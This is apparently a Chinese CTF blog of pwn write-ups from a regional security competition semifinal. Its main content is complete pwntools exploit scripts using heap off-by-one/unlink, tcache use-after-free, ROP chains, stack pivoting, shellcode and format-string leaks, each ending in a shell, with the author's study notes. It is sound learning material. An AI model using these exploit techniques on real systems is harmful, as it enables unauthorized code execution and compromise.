10.14 ~ 10.20
这是今年信息安全竞赛华南赛区半决赛的 pwn 题, wp 基本来自大佬
day1 pwn1
off by one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * p = process('./pwn') elf = ELF("./pwn", checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False) def new(ind,size,content): p.sendlineafter('4.show\n','1') p.sendlineafter('index:\n',str(ind)) p.sendlineafter('size:\n',str(size)) p.sendafter('content:\n',content) def free(ind): p.sendlineafter('4.show\n','2') p.sendafter('index:\n',str(ind)) def edit(ind,content): p.sendlineafter('4.show\n','3') p.sendlineafter('index:\n',str(ind)) p.sendafter('content:\n',content) new(2,0xf8,"/bin/sh") new(32,0xf8,"32") new(31,0xf8,"31") new(30,0xf8,"30") pay = p64(0)+p64(0xf1)+p64(0x6021c8)+p64(0x6021c8+8) pay = pay.ljust(0xf0) pay += p64(0xf0) edit(32,pay) free(31) pay = p64(0x6021c8)*3 + p64(elf.got['free']) pay = pay.ljust(0xf0) pay += p64(1) edit(32,pay) p.sendline("4") p.recvuntil("index:") p.send("32") p.recvuntil('\n') leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) libc_base = leak - libc.symbols['free'] system = libc.symbols['system'] + libc_base free_hook = libc.symbols['__free_hook'] + libc_base pay = 'a'*0x18 + p64(free_hook) pay = pay.ljust(0xf0,'a') pay += p64(1) edit(30,pay) edit(32,p64(system)) free(2) p.interactive()
在这里记录一下貌似我看到的off by one
都是使用 unlink 的方法,而且感觉总结出来一个算是心得的东西,就是有 PIE 的反而都是简单的,而不开的反而需要我们去认真分析每个堆的数据结构,通过了解这个来攻破
这里要详细记录一下,毕竟整出来了,23333
这里卡了一点,师傅直接用 free 整的 libc 偏移,今天我用个别的方法(看看行不行),还是感觉不是预期解,主要是没用到 leak
pwn4
buffer overflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import* context.log_level = "debug" elf = ELF('./pwn') p = remote("172.29.3.115","9999") #p = process('./pwn') libc = elf.libc payload = 'a'*0x28 p.recv() p.sendline(payload) p.recvuntil('a'*0x28) p.recv(8) leak = u32(p.recv(4)) success(hex(leak)) libc_base = leak - 0x1b23dc libc.address = libc_base one = libc_base + 0x3ac69 print p.recv() payload = 'a'*0x28 + 'bbbb' + p32(one) p.sendline(payload) p.interactive()
这个很简单,我一开始想构造 rop 链,结果一看师傅直接 one_gadegt 妙出,秒啊,直接泄漏 libc.address 还行,这个记录一下,实在太秒了
pwn8
逆向题???
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import* #io = process("./easy_pwn") io = remote("172.29.3.119","9999") elf = ELF("./easy_pwn") context.log_level = "debug" from struct import pack # Padding goes here p = '' p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret p += pack('<Q', 0x00000000006ba0e0) # @ .data p += pack('<Q', 0x0000000000449b9c) # pop rax ; ret p += '/bin//sh' p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8 p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret p += pack('<Q', 0x000000000047f7b1) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004006e6) # pop rdi ; ret p += pack('<Q', 0x00000000006ba0e0) # @ .data p += pack('<Q', 0x00000000004040fe) # pop rsi ; ret p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8 p += pack('<Q', 0x0000000000449bf5) # pop rdx ; ret p += pack('<Q', 0x00000000006ba0e8) # @ .data + 8 p += pack('<Q', 0x0000000000444f00) # xor rax, rax ; ret p += pack('<Q', 0x0000000000449b9c) # pop rax; ret p += p64(59) # add rax, 1 ; ret p += pack('<Q', 0x000000000040139c) # syscall strings = "" for i in p : strings += chr(ord(i)^0x66) pay = 'a'*0x50 + strings io.recv() io.sendline(pay) io.interactive()
做这个的时候我只看到了栈溢出,然后觉得输入密码什么是个逆向题,后来发现直接 ropchain 直接完事.注意一下,在ROPgadget --binary pwn --ropchain
时
1 2 3 4 5 6 7 8 9 10 p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474c00) # add rax, 1 ; ret
它直接add rax, 1 ; ret
,硬生生抬了 59 ,主要是 ropchain 是只用地址完成的 getshell ,所以还是甩 ROPgadget --binary easy_pwn --only "pop|ret" | grep rax
比较简单,可以pop rax; ret
后接一个 59 ,节省了 (59-2)*8 个字节
pwn3
rop 构造,思路感人
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #encoding:utf-8 #!/upr/bin/env python from pwn import * def piedebug(addr): text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16) log.info("elf_base:{}".format(hex(text_base))) log.info("fake_heap:{}".format(hex(text_base + 0x202018))) #log.info("get_array:{}".format(hex(text_base + 0x202140))) if addr!=0: gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p) pause() #------------------------------------- def sl(s): return p.sendline(s) def sd(s): return p.send(s) def rc(timeout=0): if timeout == 0: return p.recv() else: return p.recv(timeout=timeout) def ru(s, timeout=0): if timeout == 0: return p.recvuntil(s) else: return p.recvuntil(s, timeout=timeout) def sla(p,a,s): return p.sendlineafter(a,s) def sda(a,s): return p.sendafter(a,s) def debug(addr=''): gdb.attach(p,addr) pause() def getshell(): p.interactive() def msg(msg,addr): log.warn(msg+"->"+hex(addr)) #------------------------------------- def exp(): aaa=asm(shellcraft.sh()) pop_rdi_ret=0x00000000004005a3 pop_rsi_r15=0x00000000004005a1 pop_r14_r15=0x00000000004005a0 mov_eax_exe_ret=0x00000000004004e3 pop_r12_r13_r14_r15=0x000000000040059c pop_rbx_rbp_r12_r13_r14_r15=0x40059A mov_rdx_r13_rsi_r14_edi_r15_call=0x400580 #call r12+rbx*8 ret=0x004003a9 main = 0x4004ED syscall_ret=0x0000000000400517 g = 0x4004da pay = "a"*16+p64(main) sd(pay) #print p.recv() stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) msg("stack",stack) stack=stack-0x118 msg("stack",stack) pay = "/bin//sh\x00".ljust(0x10,"\x00") pay+=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(10)+p64(0)+p64(stack)+p64(0)+p64(0)*2 pay+=p64(mov_rdx_r13_rsi_r14_edi_r15_call) pay+=p64(mov_eax_exe_ret) pay+=p64(pop_rdi_ret)+p64(stack) pay+=p64(pop_rsi_r15)+p64(0)*2 pay+=p64(syscall_ret) sd(pay) getshell() if __name__ == '__main__': bin_elf = "./pwn" elf = ELF(bin_elf) context.binary=bin_elf context.log_level = "debug" if sys.argv[1] == "r": p = remote("172.29.3.114",9999) libc = elf.libc elif sys.argv[1] == "l": libc = elf.libc p = process(bin_elf) exp()
这道题我想的也是直接去布置 rop ,但是不知道栈地址,还好还好,这个 write 和 read 函数都能避免 \x00
截断问题,我们能根据 write 带出来一个特定偏移的地址,之后就是常规的布置 rop 了
但是,这里学到了,我之前一直以为去 call QWORD PTR [r12+rbx*8]
之后的布置还需要在构造一下,因为我之前看到的都是把 rbx 步成 0 ,这个我没想到可以去直接用 rbx 去控制程序走向, orz
pwn6
UAF ( tcache )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 #encoding:utf-8 #!/upr/bin/env python from pwn import * def piedebug(addr): text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16) log.info("elf_base:{}".format(hex(text_base))) log.info("fake_heap:{}".format(hex(text_base + 0x202018))) #log.info("get_array:{}".format(hex(text_base + 0x202140))) if addr!=0: gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p) pause() #------------------------------------- def sl(s): return p.sendline(s) def sd(s): return p.send(s) def rc(timeout=0): if timeout == 0: return p.recv() else: return p.recv(timeout=timeout) def ru(s, timeout=0): if timeout == 0: return p.recvuntil(s) else: return p.recvuntil(s, timeout=timeout) def sla(p,a,s): return p.sendlineafter(a,s) def sda(a,s): return p.sendafter(a,s) def debug(addr=''): gdb.attach(p,addr) pause() def getshell(): p.interactive() def msg(msg,addr): log.warn(msg+"->"+hex(addr)) #------------------------------------- def new(size,name,call): ru("choice:") sl("1") ru("Please input the size of compary's name\n") sl(str(size)) ru("please input name:\n") sd(name) ru("please input compary call:\n") sd(call) def free(idx): ru("choice:") sl("3") ru("Please input the index:\n") sl(str(idx)) def show(size): ru("choice:") sl("2") ru("Please input the index:\n") sl(str(size)) def exp1(): new(0x18,"a"*8,"b"*8) new(0x100,"a"*8,"b"*8) new(0x100,"a"*8,"b"*8) # free(0) for x in range(8): free(1) new(0x100,"c"*8,"d"*8)#3 show(3) ru("c"*8) libc.address = u64(p.recv(6).ljust(8,"\x00"))-88-8-0x10-libc.sym["__malloc_hook"] free_hook = libc.sym["__free_hook"] system = libc.sym["system"] msg("libc.address",libc.address) new(0x50,"a"*8,"b"*8)#4 new(0x50,"a"*8,"b"*8) new(0x50,"a"*8,"b"*8) free(4) free(4) new(0x50,p64(free_hook),"b"*8) #piedebug(0) new(0x50,"/bin/sh\x00","b"*8) new(0x50,p64(system),"b"*8) #piedebug(0) free(7) # ru("choice:") # sl("3") # print p.recv() getshell() pause() if __name__ == '__main__': bin_elf = "./pwn" elf = ELF(bin_elf) context.binary=bin_elf context.log_level = "debug" if sys.argv[1] == "r": p = remote("172.29.3.117",9999) libc = elf.libc elif sys.argv[1] == "l": libc = elf.libc p = process(bin_elf) exp1()
这个比之前做的 tcache 简单一些,很简单的 UAF 。但是我分析这个堆的时候很迷,怎么 bss 段的跑到堆上了,是我忘了点啥吗,很奇怪。
pwn7
栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 #encoding:utf-8 #!/upr/bin/env python from pwn import * def piedebug(addr): text_base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16) log.info("elf_base:{}".format(hex(text_base))) log.info("fake_heap:{}".format(hex(text_base + 0x202018))) #log.info("get_array:{}".format(hex(text_base + 0x202140))) if addr!=0: gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p) pause() #------------------------------------- def sl(s): return p.sendline(s) def sd(s): return p.send(s) def rc(timeout=0): if timeout == 0: return p.recv() else: return p.recv(timeout=timeout) def ru(s, timeout=0): if timeout == 0: return p.recvuntil(s) else: return p.recvuntil(s, timeout=timeout) def sla(p,a,s): return p.sendlineafter(a,s) def sda(a,s): return p.sendafter(a,s) def debug(addr=''): gdb.attach(p,addr) pause() def getshell(): p.interactive() def msg(msg,addr): log.warn(msg+"->"+hex(addr)) #------------------------------------- def exp(): name ="admin" new = "" for i in range(len(name)): new+=chr(ord(name[i])^i) piedebug(0x0118A) ru("please input your name\n") sl(new) ru("do you want to get something???\n") sd("a"*0x19) ru("a"*0x18) canary = u64(p.recv(8))-0x61 stack = u64(p.recv(6).ljust(8,"\x00"))-0x28 msg("canary",canary) msg("stack",stack) ru("OK???\n") sd("b"*0x18+p64(canary)) ru("I think you can do something now\n") pay = "c"*0x18+"a"*0x10+p64(canary)+"a"*8+"\xde\x50"#1/16 #pay = "%7$p%8$p%9$p".ljust(0x18,"\x00")+p64(canary)*4+"\xa2\x11"#1/16 sd(pay) #print p.recv() ru("do you want to get something???\n") sd("a"*0x21) ru("OK???\n") sd("b"*0x29) ru("a"*8) piebase = u64(p.recv(6).ljust(8,"\x00"))-0x1440 msg("piebase",piebase) printf_got=elf.got["printf"]+piebase printf_plt=elf.plt["printf"]+piebase read_got=elf.got["read"]+piebase pop_rdi_ret=piebase+0x14a3 leave_ret=piebase+0x10dc vul = piebase+0x10de msg("printf_got",printf_got) msg("printf_plt",printf_plt) msg("read_got",read_got) ru("I think you can do something now\n") gadget = "a"*0x8+p64(pop_rdi_ret)+p64(read_got)+p64(printf_plt) pay = gadget+p64(vul)+p64(canary)+p64(stack)+p64(leave_ret) sd(pay) libc.address = u64(p.recv(6).ljust(8,"\x00"))-libc.sym["read"] system = libc.sym["system"] msg("libc.address",libc.address) ru("do you want to get something???\n") #piedebug(0x11fe) sd("a"*0x8) ru("OK???\n") sd("b"*0x8) ru("I think you can do something now\n") gadget = "/bin/sh\x00"+p64(pop_rdi_ret)+p64(stack)+p64(system) pay = gadget+p64(0)+p64(canary)+p64(stack-0x10)+p64(leave_ret) sd(pay) getshell() if __name__ == '__main__': bin_elf = "./pwn" elf = ELF(bin_elf) context.binary=bin_elf context.log_level = "debug" #context.terminal=['tmux', 'splitw', '-h'] if sys.argv[1] == "r": p = remote("172.29.3.118",9999) libc = elf.libc elif sys.argv[1] == "l": libc = elf.libc #取消aslr保护机制 #p = process(bin_elf, aslr=0) #加入libc进行调试: #p = process(bin_elf,env = {"LD_PRELOAD": "../libc-2.23.so.i386"}) while True: try: p = process(bin_elf) exp() except: p.close()
这道题我在调试的时候遇到问题很多,在线解决.不过把师傅思路整明白了,首先通过过 printf 把 canary 带出来,之后碰运气撞出来 sub_10DE
,之后再来一遍,把 pie 泄漏出来,最后泄漏一个 read 函数把 libc 整出来,最后起 shell ,我在几个具体构造还不太明白,赶紧整
lab6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import time context.log_level = "debug" r = process('./pwn') read_plt = 0x8048380 puts_plt = 0x8048390 leave_ret = 0x08048418 pop_edx_ret = 0x0804836d puts_got = 0x8049ff0 buf = 0x0804b000-0x200 buf2 = buf + 0x100 payload = "a"*40 payload += flat([buf,read_plt,leave_ret,0,buf,100]) r.recvuntil(":") r.send(payload) time.sleep(0.1) rop = flat([buf2,puts_plt,pop_edx_ret,puts_got,read_plt,leave_ret,0,buf2,100]) r.sendline(rop) r.recvuntil("\n") puts_off = 0x5fca0 libc = u32(r.recv(4)) - puts_off print "libc:",hex(libc) time.sleep(0.1) system_off = 0x3ada0 system = libc + system_off rop2 = flat([buf,system,0,buf2+4*4,"/bin/sh"]) r.sendline(rop2) r.interactive()
堆栈迁移,上题引申出来的,发现自己完全忘记了,赶紧看了看,终于懂了,我发现我之前理解错了,或者说理解的很浅, tcl .这题关键是溢出字节太少了,需要去做一个迁移,所以就做了 2 个手脚来 read 输入.发现 32 位和 64 位比起来是真简单,和自己用 exp 写东西一样,2333,难度层面简直是弟弟
尴尬了,今天深入从汇编层面想了想,发现我真的理解错了,啊~~~ 简单说一下.第一次 payload 的
1 2 payload = "a"*40 payload += flat([buf,read_plt,leave_ret,0,buf,100])
首先执行 read 函数,后边 3 个参数,之后顺序往下执行,又因为 ebp 一直指向 buf ,所以 ebp 去 buf 了, esp 指向哪呢??对,这就是我之前理解的,现在想想,我是把汇编层面的东西自己理解的有点偏差,应该是这样
首先的 buf 应该首先被 leave 出去,这样 ebp 就指向了 buf , esp 指向 read ,后边顺序执行,之后到了 leave 后我们的 esp 就理所应当的被迁移到了 buf 处,这才是正确的理解, orz
pwn9
小知识点,直接写 shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #encoding:utf-8 #!/upr/bin/env python from pwn import * def sl(s): return p.sendline(s) def sd(s): return p.send(s) def rc(timeout=0): if timeout == 0: return p.recv() else: return p.recv(timeout=timeout) def ru(s, timeout=0): if timeout == 0: return p.recvuntil(s) else: return p.recvuntil(s, timeout=timeout) def sla(p,a,s): return p.sendlineafter(a,s) def sda(a,s): return p.sendafter(a,s) def debug(addr=''): gdb.attach(p,addr) pause() def getshell(): p.interactive() def msg(msg,addr): log.warn(msg+"->"+hex(addr)) #------------------------------------- def exp(): jmp = 0x08048554 shellcode =''' xor eax,eax push eax push 0x68732f2f push 0x6e69622f mov ebx,esp mov ecx,eax mov edx,eax mov al,0xb int 0x80 xor eax,eax inc eax int 0x80 ''' shellcode =asm(shellcode) shell="sub esp,0x28;call esp" shell =asm(shell) ru(">\n") pay = shellcode.ljust(0x24,"\x00") pay+= p32(jmp) pay+=shell #debug("b *0x8048554") sl(pay) getshell() if __name__ == '__main__': bin_elf = "./pwn" elf = ELF(bin_elf) context.binary=bin_elf #context.log_level = "debug" #context.terminal=['tmux', 'splitw', '-h'] if sys.argv[1] == "r": p = remote("172.29.3.120",9999) libc = elf.libc elif sys.argv[1] == "l": libc = elf.libc p = process(bin_elf) exp()
这个就是最简单的往栈里写东西了,连 nx 也关了,这是什么题~~ 不过我发现 wp 和我想得不太一样,师傅先去 jump esp
,然后利用 sub esp,0x28;call esp
起的 shell ,我感觉有点头皮发麻,突然发现我之前整的直接跳到 buf 处必须关 aslr ,学到了学到了~~~~ 下面简单说一下思路:
构造情况shellcode + jmp + shell
,到 jmp 的时候 esp 在 shell ,所以直接 esp 减 0x24+4 就好了,之后就是我们希望的执行了~~~
story
来自西湖论剑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import * p= process('story') #p=remote('ctf2.linkedbyx.com',10895) libc = ELF('./libc-2.23.so') p.sendline("%15$p%25$p") p.recvuntil("0x") canary = int(p.recvuntil("0x")[:-2],16) info("canary:0x%x",canary) addr = int(p.recvuntil('\n')[:-1],16) libc_base = addr - libc.symbols['__libc_start_main']-0xf0 info("libc:0x%x",libc_base) one = libc_base+0xf1147 pay = (0x808-0x780)*'\x00'+p64(canary)+p64(0)+p64(one)+'\x00'*400 p.recvuntil('story') p.sendline('200') p.recvuntil('story') p.sendline(pay) p.interactive()
简单的格式化字符串洞,完全忘记了,简单记录一下怎么找的偏移
先暴力输入一堆%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
然后找偏移,如果有结尾 00 的可以注意一下,然后用 cyclic 加猜测的偏移确定,我是这样的,不知道师傅们怎么确定的,知道 canary 后用 gdb 就能确定 __libc_start_main+240
的偏移,这就简单了.之后填入 one_gadget 完事~~~ ,对,这里记录一下 one_gadget 的骚操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ☁ xihulunjian one_gadget libc-2.23.so 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
这时摆出来的限制情况,我发现师傅 tql ,他根据输入精准控制栈的情况
noinfoleak 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * r = process('./noinfoleak') elf = ELF('noinfoleak', checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) #gdb.attach(r, gdbscript='b *0x00400AC7\nc\n') def add(size, data): r.sendlineafter('>', '1') r.sendlineafter('>', str(size)) r.sendlineafter('>', data) def delete(index): r.sendlineafter('>', '2') r.sendlineafter('>', str(index)) def edit(index, data): r.sendlineafter('>', '3') r.sendlineafter('>', str(index)) r.sendafter('>', data) add(0x30, '/bin/sh') add(0x20, 'AAA') add(0x20, 'BBB') delete(1) delete(2) delete(1) arrAddr = 0x06010A0 freeGotAddr = elf.got['free'] putsPltAddr = elf.plt['puts'] putsGotAddr = elf.got['puts'] add(0x20, p64(arrAddr)) add(0x20, 'second') add(0x20, 'first') add(0x20, p64(freeGotAddr)) edit(1, p64(putsPltAddr)) # ptr = free_got => puts_plt edit(6, p64(putsGotAddr)) delete(1) # ptr = puts_got LeakStr = r.recvuntil('\n', drop=True) libcBaseAddr = u64(LeakStr.ljust(8, '\x00')) - libc.symbols['puts'] systemAddr = libcBaseAddr + libc.symbols['system'] print('libc base address: 0x%x' % libcBaseAddr) print('systemAdd address: 0x%x' % systemAddr) # overwrite arrAddr[1] to free@got edit(6, p64(freeGotAddr)) # overwrite free@got to system edit(1, p64(systemAddr)) # system("/bin/sh") delete(0) r.interactive()
这个应该是最符合这题要求的最简洁的预期解了,就是简单的修改 got 表,不需要改 io_file 的结构什么的,看 dalao 的 wp 把我看蒙了,毕竟第一次接触到这种没有 leak 的题,发现还可以